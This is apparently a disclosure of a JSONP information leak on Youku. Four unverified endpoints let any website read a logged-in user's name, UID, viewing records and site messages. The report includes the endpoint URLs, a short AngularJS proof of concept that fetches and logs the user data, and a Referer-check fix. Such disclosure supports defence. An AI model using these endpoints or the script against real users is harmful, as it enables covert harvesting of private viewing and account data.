Multiple Interfaces of Youku can obtain sensitive information of user accounts (User Name/playback record/insite email, etc.) across domains)

Multiple Interfaces of Youku can obtain sensitive information of user accounts (User Name/playback record/insite email, etc.) across domains)

The JSONP interface is not filtered, causing user information leakage.

Vulnerability URL1 (leaked username, UID ):

http://nc.youku.com/index_QSideToolJSONP?function[]=getUserInfo&callback[]=SideTool.showUserMsgCallback

Vulnerability URL2 (leaked username, UID )::

http://nc.youku.com/index_QSideToolJSONP?function[]=getUserBasicInfo&callback[]=SideTool.upUserImg

 

Vulnerability URL3 (leakage of viewing video records )::

http://nc.youku.com/index_QSideToolJSONP?function[]=viewRecord&callback[]=SideTool.showRecordListCallback

Vulnerability URL4 (leak insite email ):

http://nc.youku.com/index_QSideToolJSONP?function[]=getNoticeInfo&callback[]=SideTool.showNoticeListCallback

The preceding JSONP interface is not verified. As a result, any website can obtain information about the currently logged-on users of Youku, including UID, user name, viewing duration, and browsing habits.

There are two ways to use it:

1. Leakage of user privacy and collection of user information for advertisement targeting;

2. Associate user ID information with other website information to create a user's video browsing habits.

After accessing the test website, you can obtain the information of the currently logged-on user of Youku:


 

$http.jsonp("http://nc.youku.com/index_QSideToolJSONP?function[]=getUserInfo&callback[]=JSON_CALLBACK"); $scope.test = function() {        mnmAPIService.youku().          success(function(data) {            console.log('++++++++++++++++++++++++++++++++++');            $scope.youkuInfo = data;            console.log(JSON.stringify($scope.youkuInfo));          }).          error(function (data) {            console.log('+++++++++++++++++error+++++++++++++++++');            console.log(data);          });;           };

Write a page and send a JSOP request to obtain the user information of Youku.

Solution:

Added Referer Verification